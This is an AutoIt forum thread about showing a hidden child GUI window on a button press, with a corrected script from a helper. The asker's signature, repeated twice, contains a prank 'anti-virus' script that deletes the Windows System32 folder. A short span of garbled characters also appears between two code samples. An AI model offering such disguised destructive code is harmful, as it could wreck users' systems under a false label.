Firefoxy Posted April 1, 2008 Share Posted April 1, 2008 I have seven GUIs. I'll be using the main GUI and a sub-GUI only for this example. $Form_Main and $FormA2 When I begin the program I have $Form_Main set to @SW_SHOW. I have $FormA2 set to var $State_A2. At the heading of my GUI I have $State_A2 set to @SW_HIDE. I created a case to change $State_A2 to @SW_SHOW when a button is pressed. The only problem is...well it doesn't show. How would I make this work properly (Current Code:) #include <GUIConstants.au3> $State_Buttons = @SW_HIDE #Region ### START Koda GUI section ### Form=C:\Documents and Settings\Hunter\Desktop\Form1_1.kxf $Form_Main = GUICreate("Main Window", 866, 674, 195, 135) $Button27 = GUICtrlCreateButton("Special Items", 640, 32, 99, 33, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### #Region ### START Koda GUI section ### Form= $FormA2 = GUICreate("Special Items", 727, 424, 335, 271, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), "", $Form_Main) GUISetState($State_Buttons) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button27 $State_Buttons = @SW_SHOW EndSwitch WEnd ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
covaks Posted April 1, 2008 Share Posted April 1, 2008 I might be missing something here. But your button doesn't do anything to show the second GUI. It just changes the variable. You still have to call GuiSetState again to actually set the state of the child window to @SW_SHOW. eg: expandcollapse popup#include <GUIConstants.au3> $State_Buttons = @SW_HIDE #Region ### START Koda GUI section ### Form=C:\Documents and Settings\Hunter\Desktop\Form1_1.kxf $Form_Main = GUICreate("Main Window", 866, 674, 195, 135) $Button27 = GUICtrlCreateButton("Special Items", 640, 32, 99, 33, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### #Region ### START Koda GUI section ### Form= $FormA2 = GUICreate("Special Items", 727, 424, 335, 271, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), "", $Form_Main) GUISetState($State_Buttons) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button27 GUISetState(@SW_SHOW,$FormA2) EndSwitch WEndoÝ÷ Øò¢ì×¶¬zØ^½ªâi¹^¶åazÈhÃøbuëË^Ø^nëm¢|²Þ²ÇÊ¢é]¦ël¢g)à)¶¬jëh×6#include <GUIConstants.au3> #include <Misc.au3> $State_Buttons = @SW_HIDE #Region ### START Koda GUI section ### Form=C:\Documents and Settings\Hunter\Desktop\Form1_1.kxf $Form_Main = GUICreate("Main Window", 866, 674, 195, 135) $Button27 = GUICtrlCreateButton("Special Items", 640, 32, 99, 33, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### #Region ### START Koda GUI section ### Form= $FormA2 = GUICreate("Special Items", 727, 424, 335, 271, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), "", $Form_Main) GUISetState($State_Buttons) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button27 $State_Buttons = _Iif($State_Buttons = @SW_SHOW, @SW_HIDE, @SW_SHOW) GUISetState($State_Buttons,$FormA2) EndSwitch WEnd Link to comment Share on other sites More sharing options...
Firefoxy Posted April 1, 2008 Author Share Posted April 1, 2008 Woah...that was much easier than I had expected. Thanks for the advice. ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now